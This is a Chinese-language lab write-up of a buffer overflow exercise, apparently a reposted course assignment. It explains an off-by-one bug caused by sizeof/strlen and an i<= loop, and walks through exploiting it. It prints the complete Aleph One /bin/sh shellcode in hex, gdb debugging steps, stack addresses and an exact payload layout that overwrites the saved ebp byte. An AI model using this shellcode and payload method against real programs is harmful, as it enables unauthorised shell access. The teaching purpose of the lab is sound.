緩沖區溢出實驗 2 sizeof/strlen


實驗環境、代碼、及准備

 https://www.cnblogs.com/lqerio/p/12870834.html

 

vul2

下面只給出有漏洞部分的代碼。Vul2問題為sizeof函數在計算時會考慮最后的/0占一字節而strlen不會,同時for循環中用的是i<=,導致雖然nstrcpy函數做了len和out1的比較,但是從argv拷貝到buf數組時,最多可以拷貝201字節,多拷貝的1字節覆蓋掉foo函數ebp的最低字節。利用這一點可以實現溢出攻擊。

 

 

 

shellcode(構造過程)

原理是運行/bin/sh 來得到shell,構造過程是將具有運行/bin/sh的C代碼轉換成有相同功能的機器碼。注意代碼中用到  0  的地方改成用 xor  eax,eax,這樣可以避免復制字符串時遇到/0 中斷。

下面的shellcode長度為45字節(不含/0)

 

/*

 * Aleph One shellcode.

 */

static const char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

exploit2

根據1.2vul2的分析和內存棧的知識可知,內存中由高到低為foo的ebp和buf數組的200字節,構造的payload為201字節,payload[200]覆蓋到ebp的低位。需要知道buf的起始地址和ebp的值。

Gdb調試vul2

Gdb ./vul2

Disas foo

 

 

 

得到bar地址 0x804851a

先隨便填exploits的payload,先填200字節。調試exploit2

 

 

 

gdb -e exploit2 -s /tmp/vul2

b *0x804851a

r

 

 

 

 

 

 

打印ebp和buf值,得到如圖結果。Buf范圍為 0xbffffcb8-0xbffffd80 200字節。Ebp為0xbffffd8c。如果覆蓋掉ebp最后一字節為00,改變ebp為0xbffffd00,那么ret存放地址位0xbffffd04-0xbffffd08,注意小端。D04-cb8=4c=76字節。

故payload構造方式:15字節nop+45字節shellcode+16字節nop+4字節返回地址(buf起始地址)+120字節nop+0x00

 

運行

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM